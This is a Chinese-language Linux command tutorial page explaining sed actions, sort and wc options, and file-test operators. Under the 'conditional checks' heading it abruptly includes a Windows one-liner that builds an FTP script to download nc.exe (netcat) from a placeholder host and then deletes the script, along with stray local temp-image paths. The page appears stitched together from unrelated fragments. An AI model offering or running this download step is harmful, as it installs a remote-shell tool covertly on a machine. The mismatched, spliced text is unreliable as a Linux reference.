访问手机版  

Linux常用命令|Linux培训学习|考试认证|工资待遇与招聘,认准超级网工!

招聘|合作 登陆|注册

网络工程师培训

当前位置:网络工程师 > 技术课程 > linux > 热点关注 > linux常用命令

linux 应用命令

时间:2019-07-20

linux解压命令_linux命令手册_linux命令

-i:用sed的修改结果直接修改读取数据的文件,而不是由屏幕输出.

动作:

a:追加,在当前行后添加一行或多行.添加多行时,除最后一行外,每行末尾需要用"\"代表数据未完结

c:行替换,用c后面的字符串替换原数据行,替换多行时,除最后一行外,每行末尾需要用"\"代表数据未完结

i:插入,在当期行前插入一行或多行.插入多行时,除最后一行外,每行末尾需要用"\"代表数据未完结

d:删除,删除指定的行

p:打印,输出指定的行

s:字串替换,用一个字符串替换另外一个字符串.格式为"行范围s/旧字串/新字串/g"(和vim中的替换格式类似)

3.字符处理命令

1).排序命令sort

sort [选项] 文件名

-f:忽略大小写

-n:以数值型进行排序,默认使用字符串型排序

-r:反向排序

-t:指定分隔符,默认是分隔符是制表符

-k n[,m]:按照指定的字段范围排序.从第n字段开始,m字段结束(默认到行尾)

2).统计命令wc

wc [选项] 文件名

-l:只统计行数

-w:只统计单词数

-m:只统计字符数

4.条件判断

echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt。echo qwer > /tmp/aaa.txt:把qwer写入文件覆盖原有内容。file:///c:/users/admini~1/appdata/local/temp/ksohtml/wps311e.tmp.jpg file:///c:/users/admini~1/appdata/local/temp/ksohtml/wps312e.tmp.pngfile:///c:/users/admini~1/appdata/local/temp/ksohtml/wps312f.tmp.jpg。

测试选项 | 作用

------------------------------------------------------------------------

-b 文件 |判断该文件是否存在,并且是否为块设备文件(是块设备文件为真)

-c 文件 |判断该文件是否存在,并且是否为字符设备文件(是字符设备文件为真)

-d 文件 |判断该文件是否存在,并且是否为目录文件(是目录为真)

-e 文件 |判断该文件是否存在(存在为真)

-f 文件 |判断该文件是否存在,并且是否为普通文件(是普通文件为真)

-L 文件 |判断该文件是否存在,并且是否为符号链接文件(是符号链接文件为真)

-p 文件 |判断该文件是否存在,并且是否为管道文件(是管道文件为真)

-s 文件 |判断该文件是否存在,并且是否为非空(非空为真)

-S 文件 |判断该文件是否存在,并且是否为套接字文件(是套接字文件为真 )

2).按照文件权限进行判断【[ -r /tmp/temp.txt ] && echo "yes" || echo "no"】

测试选项 | 作用

------------------------------------------------------------------------

-r 文件 |判断该文件是否存在,并且是否该文件拥有读权限(有读权限为真)